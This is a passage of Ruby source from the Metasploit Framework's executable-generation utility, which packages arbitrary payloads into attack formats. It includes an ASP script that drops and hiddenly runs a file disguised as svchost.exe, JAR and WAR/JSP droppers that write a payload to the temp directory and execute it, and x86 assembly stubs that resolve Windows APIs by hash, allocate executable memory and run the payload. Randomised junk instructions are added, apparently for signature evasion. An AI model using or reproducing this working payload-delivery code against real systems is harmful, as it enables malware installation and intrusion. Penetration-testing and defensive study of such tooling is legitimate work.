#{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n" vbs << "#{var_stream}.Write #{var_bytes}\r\n" vbs << "#{var_stream}.Close\r\n" vbs << "Dim #{var_shell}\r\n" vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n" vbs << "End Sub\r\n" vbs << "#{var_func}\r\n" vbs << "%>\r\n" vbs end def self.to_win32pe_vbs(framework, code, opts={}) to_exe_vbs(to_win32pe(framework, code, opts), opts) end def self.to_win32pe_asp(framework, code, opts={}) to_exe_asp(to_win32pe(framework, code, opts), opts) end # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # # See also: +Msf::Core::Payload::Java+ # def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" zip = Rex::Zip::Jar.new paths = [ [ "metasploit", "Payload.class" ], ] zip.add_files(paths, File.join(Msf::Config.data_directory, "java")) zip.build_manifest :main_class => "metasploit.Payload" config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n" zip.add_file("metasploit.dat", config) zip.add_file(exe_name, exe) zip end # Creates a Web Archive (WAR) file from the provided jsp code. Additional options # can be provided via the "opts" hash. def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) app_name = opts[:app_name] app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) meta_inf = [ 0xcafe, 0x0003 ].pack('Vv') manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" web_xml = %q{ NAME /PAYLOAD.jsp } web_xml.gsub!(/NAME/, app_name) web_xml.gsub!(/PAYLOAD/, jsp_name) zip = Rex::Zip::Archive.new zip.add_file('META-INF/', nil, meta_inf) zip.add_file('META-INF/MANIFEST.MF', manifest) zip.add_file('WEB-INF/', '') zip.add_file('WEB-INF/web.xml', web_xml) # add the payload zip.add_file("#{jsp_name}.jsp", jsp_raw) # add extra files if opts[:extra_files] opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) } end return zip.pack end # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. # The jsp page converts the hexdump back to a normal .exe file and places it in # the temp directory. The payload .exe file is then executed. def self.to_jsp_war(exe, opts={}) # begin .jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8) var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n" jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" jspraw << "String #{var_data} = \"\";\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" jspraw << "}\n" jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" jspraw << "#{var_inputstream}.close();\n" jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" jspraw << "{\n" jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" jspraw << "#{var_comb} <<= 4;\n" jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" jspraw << "}\n" jspraw << "#{var_outputstream}.write(#{var_bytes});\n" jspraw << "#{var_outputstream}.close();\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" jspraw << "String[] #{var_fperm} = new String[3];\n" jspraw << "#{var_fperm}[0] = \"chmod\";\n" jspraw << "#{var_fperm}[1] = \"+x\";\n" jspraw << "#{var_fperm}[2] = #{var_exepath};\n" jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" jspraw << "if (#{var_proc}.waitFor() == 0) {\n" jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" # Linux and other UNICES allow removing files while they are in use... jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" jspraw << "} else {\n" # Windows does not .. jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" jspraw << "%>\n" # Specify the payload in hex as an extra file.. payload_hex = exe.unpack('H*')[0] opts.merge!( { :extra_files => [ [ "#{var_hexfile}.txt", payload_hex ] ] }) return self.to_war(jspraw, opts) end # Creates a .NET DLL which loads data into memory # at a specified location with read/execute permissions # - the data will be loaded at: base+0x2065 # - default max size is 0x8000 (32768) def self.to_dotnetmem(base=0x12340000, data="", opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "dotnetmem.dll") pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } # Configure the image base base_offset = opts[:base_offset] || 180 pe[base_offset, 4] = [base].pack('V') # Configure the TimeDateStamp timestamp_offset = opts[:timestamp_offset] || 136 pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V') # XXX: Unfortunately we cant make this RWX only RX # Mark this segment as read-execute AND writable # pe[412,4] = [0xe0000020].pack("V") # Write the data into the .text segment text_offset = opts[:text_offset] || 0x1065 text_max = opts[:text_max] || 0x8000 pack = opts[:pack] || 'a32768' pe[text_offset, text_max] = [data].pack(pack) # Generic a randomized UUID uuid_offset = opts[:uuid_offset] || 37656 pe[uuid_offset,16] = Rex::Text.rand_text(16) return pe end def self.encode_stub(framework, arch, code, platform = nil, badchars='') return code if not framework.encoders framework.encoders.each_module_ranked('Arch' => arch) do |name, mod| begin enc = framework.encoders.create(name) raw = enc.encode(code, badchars, nil, platform) return raw if raw rescue end end nil end def self.generate_nops(framework, arch, len, opts={}) opts['BadChars'] ||= '' opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] return nil if not framework.nops framework.nops.each_module_ranked('Arch' => arch) do |name, mod| begin nop = framework.nops.create(name) raw = nop.generate_sled(len, opts) return raw if raw rescue end end nil end # This wrapper is responsible for allocating RWX memory, copying the # target code there, setting an exception handler that calls ExitProcess # and finally executing the code. def self.win32_rwx_exec(code) stub_block = %Q^ ; Input: The hash of the API to call and all its parameters must be pushed onto stack. ; Output: The return value from the API call will be in EAX. ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. ; Note: This function is unable to call forwarded exports. api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame xor eax, eax ; Zero EDX mov eax, [fs:eax+48] ; Get a pointer to the PEB mov eax, [eax+12] ; Get PEB->Ldr mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list mov edx, eax next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; sub al, 0x20 ; If so normalise to uppercase not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name dec ecx jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header add eax, edx ; Add the modules base address mov eax, [eax+120] ; Get export tables RVA test eax, eax ; Test if no export address table is present jz get_next_mod1 ; If no EAT present, process the next module add eax, edx ; Add the modules base address push eax ; Save the current modules EAT mov ecx, [eax+24] ; Get the number of function names mov ebx, [eax+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address ; Computing the module hash + function hash get_next_func: ; test ecx, ecx ; (Changed from JECXZ to work around METASM) jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module dec ecx ; Decrement the function name counter mov esi, [ebx+ecx*4] ; Get rva of next module name add esi, edx ; Add the modules base address xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the ASCII function name ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current position in the module list popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx ; Pop off the origional return address our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module jmp next_mod ; Process this module ^ stub_exit = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: None. ; Clobbers: EAX, EBX, (ESP will also be modified) ; Note: Execution is not expected to (successfully) continue past this block exitfunk: mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. delta: ; #{stub_block} start: ; pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx mov edi, eax ; Prepare EDI with the new address mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: pop esi ; Prepare ESI with the source to copy rep movsb ; Copy the payload to RWX memory call set_handler ; Configure error handling exitblock: #{stub_exit} set_handler: xor eax,eax push dword [fs:eax] mov dword [fs:eax], esp call ebx jmp exitblock ^ stub_final = %Q^ get_payload: call got_payload payload: ; Append an arbitary payload here ^ stub_alloc.gsub!('short', '') stub_alloc.gsub!('byte', '') wrapper = "" # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 stub_alloc.each_line do |line| line.gsub!(/;.*/, '') line.strip! next if line.empty? if (rand(2) == 0) wrapper << "nop\n" end if(rand(2) == 0) wrapper << "jmp autojump#{cnt_jmp}\n" 1.upto(rand(8)+8) do wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" end wrapper << "autojump#{cnt_jmp}:\n" cnt_jmp += 1 end wrapper << line + "\n" end wrapper << stub_final enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded off = enc.offset_of_reloc('PAYLOAD_SIZE') res = enc.data + code res[off,4] = [code.length].pack('V') res end # This wrapper is responsible for allocating RWX memory, copying the # target code there, setting an exception handler that calls ExitProcess, # starting the code in a new thread, and finally jumping back to the next # code to execute. block_offset is the offset of the next code from # the start of this code def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') stub_block = %Q^ ; Input: The hash of the API to call and all its parameters must be pushed onto stack. ; Output: The return value from the API call will be in EAX. ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. ; Note: This function is unable to call forwarded exports. api_call: pushad ; We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp ; Create a new stack frame xor edx, edx ; Zero EDX mov edx, [fs:edx+48] ; Get a pointer to the PEB mov edx, [edx+12] ; Get PEB->Ldr mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the name cmp al, 'a' ; Some versions of Windows use lower case module names jl not_lowercase ; sub al, 0x20 ; If so normalise to uppercase not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name dec ecx jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to itterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header add eax, edx ; Add the modules base address mov eax, [eax+120] ; Get export tables RVA test eax, eax ; Test if no export address table is present jz get_next_mod1 ; If no EAT present, process the next module add eax, edx ; Add the modules base address push eax ; Save the current modules EAT mov ecx, [eax+24] ; Get the number of function names mov ebx, [eax+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module dec ecx ; Decrement the function name counter mov esi, [ebx+ecx*4] ; Get rva of next module name add esi, edx ; Add the modules base address xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want loop_funcname: ; xor eax, eax ; Clear EAX lodsb ; Read in the next byte of the ASCII function name ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx ; Clear off the current modules hash pop ebx ; Clear off the current position in the module list popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx ; Pop off the origional return address our caller will have pushed pop edx ; Pop off the hash value our caller will have pushed push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module jmp next_mod ; Process this module ^ stub_exit = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: None. ; Clobbers: EAX, EBX, (ESP will also be modified) ; Note: Execution is not expected to (successfully) continue past this block exitfunk: mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 jl goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne goodbye ; mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: ; We now perform the actual call to the exit function push byte 0 ; push the exit function parameter push ebx ; push the hash of the exit function call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ pushad ; Save registers cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. delta: ; #{stub_block} start: ; pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; Push the length value of the wrapped code block push byte 0 ; NULL as we dont care where the allocation is. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); mov ebx, eax ; Store allocated address in ebx mov edi, eax ; Prepare EDI with the new address mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: pop esi ; Prepare ESI with the source to copy rep movsb ; Copy the payload to RWX memory call set_handler ; Configure error handling exitblock: #{stub_exit} set_handler: xor eax,eax ; push dword [fs:eax] ; mov dword [fs:eax], esp push eax ; LPDWORD lpThreadId (NULL) push eax ; DWORD dwCreationFlags (0) push eax ; LPVOID lpParameter (NULL) push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) push eax ; SIZE_T dwStackSize (0 for default) push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) call ebp ; Spawn payload thread pop eax ; Skip ; pop eax ; Skip pop eax ; Skip popad ; Get our registers back ; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ get_payload: call got_payload payload: ; Append an arbitary payload here ^ stub_alloc.gsub!('short', '') stub_alloc.gsub!('byte', '') wrapper = "" # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 cnt_nop = 64 stub_alloc.each_line do |line| line.gsub!(/;.*/, '') line.strip! next if line.empty? if (cnt_nop > 0 and rand(4) == 0) wrapper << "nop\n" cnt_nop -= 1 end if(cnt_nop > 0 and rand(16) == 0) cnt_nop -= 2 cnt_jmp += 1 wrapper << "jmp autojump#{cnt_jmp}\n" 1.upto(rand(8)+1) do wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" cnt_nop -= 1 end wrapper << "autojump#{cnt_jmp}:\n" end wrapper << line + "\n" end #someone who knows how to use metasm please explain the right way to do this. wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" wrapper << stub_final enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded off = enc.offset_of_reloc('PAYLOAD_SIZE') soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 res = enc.data + code res[off,4] = [code.length].pack('V') if which_offset == 'start' res[soff,4] = [block_offset - (soff + 4)].pack('V') elsif which_offset == 'end' res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V') else raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' end res end # # This routine is shared between msfencode, rpc, and payload modules (use ) # # It will return nil if it wasn't able to generate any output. # def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) output = nil case fmt when 'dll' if (not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts) end if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts) end when 'exe' if (not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_win32pe(framework, code, exeopts) end if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) output = Msf::Util::EXE.to_win64pe(framework, code, exeopts) end when 'exe-small' if(not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end when 'elf' if (not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) end if (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) end when 'macho' if (not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) end if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64))) output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) end when 'vba' output = Msf::Util::EXE.to_vba(framework, code, exeopts) when 'vba-exe' exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts) output = Msf::Util::EXE.to_exe_vba(exe) when 'vbs' output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false })) when 'loop-vbs' output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true })) when 'asp' output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts) when 'war' arch ||= [ ARCH_X86 ] tmp_plat = plat.platforms if plat tmp_plat ||= Msf::Module::PlatformList.transform('win') exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) output = Msf::Util::EXE.to_jsp_war(exe) end output end def self.to_executable_fmt_formats ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war'] end # # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR # def self.is_eicar_corrupted? path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com")) return true if not ::File.exists?(path) begin data = ::File.read(path) if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140" return true end rescue ::Exception return true end false end end end end